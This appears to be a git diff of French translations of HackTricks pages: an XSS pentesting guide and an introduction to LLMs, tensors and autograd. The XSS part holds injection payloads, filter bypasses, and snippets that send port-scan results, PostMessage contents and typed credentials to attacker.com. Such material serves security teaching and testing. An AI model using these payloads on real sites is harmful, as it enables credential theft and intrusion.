@ -149,13 +149,13 @@ Quelques **exemples** :
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Contournement de WAF encodage image
|
||||
## WAF bypass encoding image
|
||||
|
||||
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||||
|
||||
## Injection dans le HTML brut
|
||||
## Injecting inside raw HTML
|
||||
|
||||
Lorsque votre entrée est reflétée **dans la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encodé** ou **supprimé** ou s'il est **reflété sans modifications**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas**.\
|
||||
Lorsque votre entrée est reflétée **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encodé** ou **supprimé** ou s'il est **reflété sans modifications**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas**.\
|
||||
Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Remarque : Un commentaire HTML peut être fermé en utilisant\*\*\*\***** ****`-->`**** ****ou \*\*\*\*****`--!>`**_
|
||||
|
||||
|
@ -165,12 +165,12 @@ Dans ce cas et si aucun filtrage par liste noire/liste blanche n'est utilisé, v
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mais, si le filtrage des balises/attributs est utilisé, vous devrez **forcer par brute la création de balises**.\
|
||||
Une fois que vous avez **localisé les balises autorisées**, vous devrez **forcer par brute les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
|
||||
Mais, si la liste noire/liste blanche des balises/attributs est utilisée, vous devrez **forcer par essais quelles balises** vous pouvez créer.\
|
||||
Une fois que vous avez **localisé quelles balises sont autorisées**, vous devrez **forcer par essais les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
|
||||
|
||||
### Forçage par brute des balises/événements
|
||||
### Forçage par essais des balises/événements
|
||||
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant Burp intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer par brute tous les événements** en utilisant les balises valides (dans la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant Burp intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer par essais tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
|
||||
|
||||
### Balises personnalisées
|
||||
|
||||
|
@ -178,7 +178,7 @@ Si vous n'avez trouvé aucune balise HTML valide, vous pouvez essayer de **crée
|
|||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Contournements de Liste Noire
|
||||
### Contournements de liste noire
|
||||
|
||||
Si une sorte de liste noire est utilisée, vous pourriez essayer de la contourner avec quelques astuces idiotes :
|
||||
```javascript
|
||||
|
@ -278,7 +278,7 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
|||
Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
|
||||
**Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
|
||||
**Bypass à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
|
||||
|
||||
Les **caractères encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Retour </a>`
|
||||
|
||||
|
@ -393,7 +393,7 @@ Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbi
|
|||
|
||||
### sur le contournement des gestionnaires d'événements
|
||||
|
||||
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements "on"** utiles.\
|
||||
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **"on" gestionnaires d'événements** utiles.\
|
||||
Dans le cas où il y aurait une liste noire vous empêchant de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
|
@ -416,7 +416,7 @@ Depuis [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-input
|
|||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
Et dans **meta tags** :
|
||||
Et dans les **meta tags** :
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -462,7 +462,7 @@ et
|
|||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Maintenant, vous pouvez modifier notre lien et le transformer en
|
||||
Maintenant, vous pouvez modifier notre lien et le ramener à la forme
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
|
@ -490,7 +490,7 @@ Si `<>` sont assainis, vous pouvez toujours **échapper la chaîne** où votre e
|
|||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également des **backticks** **` `` `**. Cela s'appelle des littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
|
||||
Cela peut être **abusé** en utilisant :
|
||||
|
@ -588,7 +588,7 @@ console.log(log)
|
|||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||
<img/src/onerror=alert(1)>
|
||||
```
|
||||
**Javascript à l'intérieur d'un commentaire**
|
||||
**Javascript dans un commentaire**
|
||||
```javascript
|
||||
//If you can only inject inside a JS comment, you can still leak something
|
||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||
|
@ -779,7 +779,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
|
|||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
En raison de **l'attribution de masse RoR**, des citations sont insérées dans le HTML et ensuite la restriction de citation est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -829,7 +829,7 @@ Protocoles connus précédemment : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en
|
|||
|
||||
### Seulement des lettres, des chiffres et des points
|
||||
|
||||
Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](./#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
Si vous êtes en mesure d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](./#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
|
||||
### Types de contenu `<script>` valides pour XSS
|
||||
|
||||
|
@ -865,10 +865,8 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
La réponse est :
|
||||
|
||||
* **module** (par défaut, rien à expliquer)
|
||||
* [**webbundle**](https://web.dev/web-bundles/) : Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS…) dans un fichier **`.wbn`**.
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS…) dans un fichier **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -897,7 +895,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement d'XSS.
|
||||
|
||||
* [**règlesdespeculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -913,9 +911,9 @@ Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Types de contenu Web pour XSS
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -923,12 +921,12 @@ Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/
|
|||
* text/xml
|
||||
* image/svg+xml
|
||||
* text/plain (?? pas dans la liste mais je pense avoir vu cela dans un CTF)
|
||||
* application/rss+xml (désactivé)
|
||||
* application/atom+xml (désactivé)
|
||||
* application/rss+xml (off)
|
||||
* application/atom+xml (off)
|
||||
|
||||
Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Type de contenu xml
|
||||
### xml Content Type
|
||||
|
||||
Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du JS arbitraire :
|
||||
```xml
|
||||
|
@ -944,7 +942,7 @@ Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}",
|
|||
|
||||
Par exemple, dans [**ce rapport**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper à une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
|
||||
|
||||
### Cache Chrome vers XSS
|
||||
### Cache Chrome à XSS
|
||||
|
||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
|
@ -1051,7 +1049,7 @@ trigger()
|
|||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||||
* Plus de JSFuck sophistiqué : [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* JSFuck plus sophistiqué : [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||||
|
@ -1088,7 +1086,7 @@ trigger()
|
|||
|
||||
### Piège Iframe
|
||||
|
||||
Faites en sorte que l'utilisateur navigue sur la page sans quitter un iframe et volez ses actions (y compris les informations envoyées dans les formulaires) :
|
||||
Faire en sorte que l'utilisateur navigue sur la page sans quitter un iframe et voler ses actions (y compris les informations envoyées dans les formulaires) :
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
|
@ -1179,7 +1177,7 @@ q.shift()();
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Scanner de ports (fetch)
|
||||
### Scanner de Port (fetch)
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
|
@ -1217,7 +1215,7 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Lorsque des données sont introduites dans le champ de mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et n'écrit rien, les identifiants seront exfiltrés.
|
||||
Lorsque des données sont introduites dans le champ du mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et n'écrit rien, les identifiants seront exfiltrés.
|
||||
|
||||
### Keylogger
|
||||
|
||||
|
@ -1243,7 +1241,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### Voler des messages PostMessage
|
||||
### Vol de messages PostMessage
|
||||
```markup
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
|
@ -1342,7 +1340,7 @@ Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez ob
|
|||
|
||||
### XSS vers SSRF
|
||||
|
||||
Avez-vous XSS sur un **site qui utilise le caching** ? Essayez **de le mettre à niveau vers SSRF** via l'injection Edge Side Include avec ce payload :
|
||||
Vous avez XSS sur un **site qui utilise le caching** ? Essayez **de le mettre à niveau vers SSRF** via l'injection Edge Side Include avec ce payload :
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1366,9 +1364,9 @@ Si vous ne pouvez pas injecter de balises HTML, cela pourrait valoir la peine d'
|
|||
|
||||
### XSS dans Amp4Email
|
||||
|
||||
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, incorpore des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [composants AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, incorpore des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Le format [**AMP pour Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
|
||||
|
||||
Exemple [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
@ -1446,23 +1444,23 @@ Find **plus de charges utiles SVG dans** [**https://github.com/allanlw/svg-cheat
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière dans le hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
If you are interested in **carrière de hacking** and hack the unhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez & pratiquez le hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez & pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## Préentraînement
|
||||
|
||||
Le préentraînement est la phase fondamentale dans le développement d'un modèle de langage de grande taille (LLM) où le modèle est exposé à d'énormes et diverses quantités de données textuelles. Pendant cette étape, **le LLM apprend les structures, les motifs et les nuances fondamentaux de la langue**, y compris la grammaire, le vocabulaire, la syntaxe et les relations contextuelles. En traitant ces données étendues, le modèle acquiert une large compréhension de la langue et des connaissances générales sur le monde. Cette base complète permet au LLM de générer un texte cohérent et contextuellement pertinent. Par la suite, ce modèle préentraîné peut subir un ajustement fin, où il est formé davantage sur des ensembles de données spécialisés pour adapter ses capacités à des tâches ou des domaines spécifiques, améliorant ainsi ses performances et sa pertinence dans des applications ciblées.
|
||||
Le préentraînement est la phase fondamentale dans le développement d'un modèle de langage de grande taille (LLM) où le modèle est exposé à d'énormes et diverses quantités de données textuelles. Pendant cette étape, **le LLM apprend les structures, les motifs et les nuances fondamentaux de la langue**, y compris la grammaire, le vocabulaire, la syntaxe et les relations contextuelles. En traitant ces données étendues, le modèle acquiert une large compréhension de la langue et des connaissances générales sur le monde. Cette base complète permet au LLM de générer un texte cohérent et contextuellement pertinent. Par la suite, ce modèle préentraîné peut subir un ajustement fin, où il est formé davantage sur des ensembles de données spécialisés pour adapter ses capacités à des tâches ou domaines spécifiques, améliorant ainsi ses performances et sa pertinence dans des applications ciblées.
|
||||
|
||||
## Principaux composants des LLM
|
||||
|
||||
|
@ -28,29 +28,29 @@ GPT_CONFIG_124M = {
|
|||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## Tensors in PyTorch
|
||||
## Tensors dans PyTorch
|
||||
|
||||
Dans PyTorch, un **tensor** est une structure de données fondamentale qui sert de tableau multi-dimensionnel, généralisant des concepts comme les scalaires, les vecteurs et les matrices à des dimensions potentiellement supérieures. Les tenseurs sont la principale façon dont les données sont représentées et manipulées dans PyTorch, en particulier dans le contexte de l'apprentissage profond et des réseaux de neurones.
|
||||
Dans PyTorch, un **tensor** est une structure de données fondamentale qui sert d'array multi-dimensionnel, généralisant des concepts comme les scalaires, les vecteurs et les matrices à des dimensions potentiellement supérieures. Les tenseurs sont la principale façon dont les données sont représentées et manipulées dans PyTorch, en particulier dans le contexte de l'apprentissage profond et des réseaux de neurones.
|
||||
|
||||
### Mathematical Concept of Tensors
|
||||
### Concept Mathématique des Tensors
|
||||
|
||||
* **Scalars** : Tenseurs de rang 0, représentant un seul nombre (zéro-dimensionnel). Comme : 5
|
||||
* **Vectors** : Tenseurs de rang 1, représentant un tableau unidimensionnel de nombres. Comme : \[5,1]
|
||||
* **Matrices** : Tenseurs de rang 2, représentant des tableaux bidimensionnels avec des lignes et des colonnes. Comme : \[\[1,3], \[5,2]]
|
||||
* **Higher-Rank Tensors** : Tenseurs de rang 3 ou plus, représentant des données dans des dimensions supérieures (par exemple, des tenseurs 3D pour des images en couleur).
|
||||
* **Scalaires** : Tensors de rang 0, représentant un seul nombre (zéro-dimensionnel). Comme : 5
|
||||
* **Vecteurs** : Tensors de rang 1, représentant un tableau unidimensionnel de nombres. Comme : \[5,1]
|
||||
* **Matrices** : Tensors de rang 2, représentant des tableaux bidimensionnels avec des lignes et des colonnes. Comme : \[\[1,3], \[5,2]]
|
||||
* **Tensors de Rang Supérieur** : Tensors de rang 3 ou plus, représentant des données dans des dimensions supérieures (par exemple, des tenseurs 3D pour des images couleur).
|
||||
|
||||
### Tensors as Data Containers
|
||||
### Tensors comme Conteneurs de Données
|
||||
|
||||
D'un point de vue computationnel, les tenseurs agissent comme des conteneurs pour des données multi-dimensionnelles, où chaque dimension peut représenter différentes caractéristiques ou aspects des données. Cela rend les tenseurs particulièrement adaptés pour gérer des ensembles de données complexes dans des tâches d'apprentissage automatique.
|
||||
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
### Tensors PyTorch vs. Arrays NumPy
|
||||
|
||||
Bien que les tenseurs PyTorch soient similaires aux tableaux NumPy dans leur capacité à stocker et manipuler des données numériques, ils offrent des fonctionnalités supplémentaires cruciales pour l'apprentissage profond :
|
||||
Bien que les tenseurs PyTorch soient similaires aux arrays NumPy dans leur capacité à stocker et manipuler des données numériques, ils offrent des fonctionnalités supplémentaires cruciales pour l'apprentissage profond :
|
||||
|
||||
* **Automatic Differentiation** : Les tenseurs PyTorch prennent en charge le calcul automatique des gradients (autograd), ce qui simplifie le processus de calcul des dérivées nécessaires à l'entraînement des réseaux de neurones.
|
||||
* **GPU Acceleration** : Les tenseurs dans PyTorch peuvent être déplacés et calculés sur des GPU, accélérant considérablement les calculs à grande échelle.
|
||||
* **Différentiation Automatique** : Les tenseurs PyTorch supportent le calcul automatique des gradients (autograd), ce qui simplifie le processus de calcul des dérivées nécessaires pour entraîner des réseaux de neurones.
|
||||
* **Accélération GPU** : Les tenseurs dans PyTorch peuvent être déplacés et calculés sur des GPU, accélérant considérablement les calculs à grande échelle.
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
### Création de Tensors dans PyTorch
|
||||
|
||||
Vous pouvez créer des tenseurs en utilisant la fonction `torch.tensor` :
|
||||
```python
|
||||
|
@ -122,7 +122,7 @@ Les tenseurs sont essentiels dans PyTorch pour construire et entraîner des rés
|
|||
|
||||
## Différentiation Automatique
|
||||
|
||||
La différentiation automatique (AD) est une technique computationnelle utilisée pour **évaluer les dérivées (gradients)** des fonctions de manière efficace et précise. Dans le contexte des réseaux de neurones, l'AD permet le calcul des gradients nécessaires pour **des algorithmes d'optimisation comme la descente de gradient**. PyTorch fournit un moteur de différentiation automatique appelé **autograd** qui simplifie ce processus.
|
||||
La différentiation automatique (AD) est une technique computationnelle utilisée pour **évaluer les dérivées (gradients)** des fonctions de manière efficace et précise. Dans le contexte des réseaux de neurones, l'AD permet le calcul des gradients nécessaires pour **les algorithmes d'optimisation comme la descente de gradient**. PyTorch fournit un moteur de différentiation automatique appelé **autograd** qui simplifie ce processus.
|
||||
|
||||
### Explication Mathématique de la Différentiation Automatique
|
||||
|
||||
|
@ -132,7 +132,7 @@ Au cœur de la différentiation automatique se trouve la **règle de chaîne** d
|
|||
|
||||
Mathématiquement, si `y=f(u)` et `u=g(x)`, alors la dérivée de `y` par rapport à `x` est :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Graphe Computationnel**
|
||||
|
||||
|
@ -142,7 +142,7 @@ Dans l'AD, les calculs sont représentés comme des nœuds dans un **graphe comp
|
|||
|
||||
Considérons une fonction simple :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Où :
|
||||
|
||||
|
@ -196,18 +196,18 @@ Gradient w.r.t b: tensor([-0.0817])
|
|||
|
||||
### **1. Extension aux Réseaux Multicouches**
|
||||
|
||||
Dans des réseaux de neurones plus grands avec plusieurs couches, le processus de calcul des gradients devient plus complexe en raison du nombre accru de paramètres et d'opérations. Cependant, les principes fondamentaux restent les mêmes :
|
||||
Dans des réseaux neurones plus grands avec plusieurs couches, le processus de calcul des gradients devient plus complexe en raison du nombre accru de paramètres et d'opérations. Cependant, les principes fondamentaux restent les mêmes :
|
||||
|
||||
* **Passage Avant :** Calculez la sortie du réseau en passant les entrées à travers chaque couche.
|
||||
* **Calcul de la Perte :** Évaluez la fonction de perte en utilisant la sortie du réseau et les étiquettes cibles.
|
||||
* **Passage Arrière (Backpropagation) :** Calculez les gradients de la perte par rapport à chaque paramètre du réseau en appliquant la règle de la chaîne de manière récursive depuis la couche de sortie jusqu'à la couche d'entrée.
|
||||
* **Passage Arrière (Backpropagation) :** Calculez les gradients de la perte par rapport à chaque paramètre du réseau en appliquant la règle de chaîne de manière récursive depuis la couche de sortie jusqu'à la couche d'entrée.
|
||||
|
||||
### **2. Algorithme de Backpropagation**
|
||||
|
||||
* **Étape 1 :** Initialisez les paramètres du réseau (poids et biais).
|
||||
* **Étape 2 :** Pour chaque exemple d'entraînement, effectuez un passage avant pour calculer les sorties.
|
||||
* **Étape 3 :** Calculez la perte.
|
||||
* **Étape 4 :** Calculez les gradients de la perte par rapport à chaque paramètre en utilisant la règle de la chaîne.
|
||||
* **Étape 4 :** Calculez les gradients de la perte par rapport à chaque paramètre en utilisant la règle de chaîne.
|
||||
* **Étape 5 :** Mettez à jour les paramètres en utilisant un algorithme d'optimisation (par exemple, la descente de gradient).
|
||||
|
||||
### **3. Représentation Mathématique**
|
||||
|
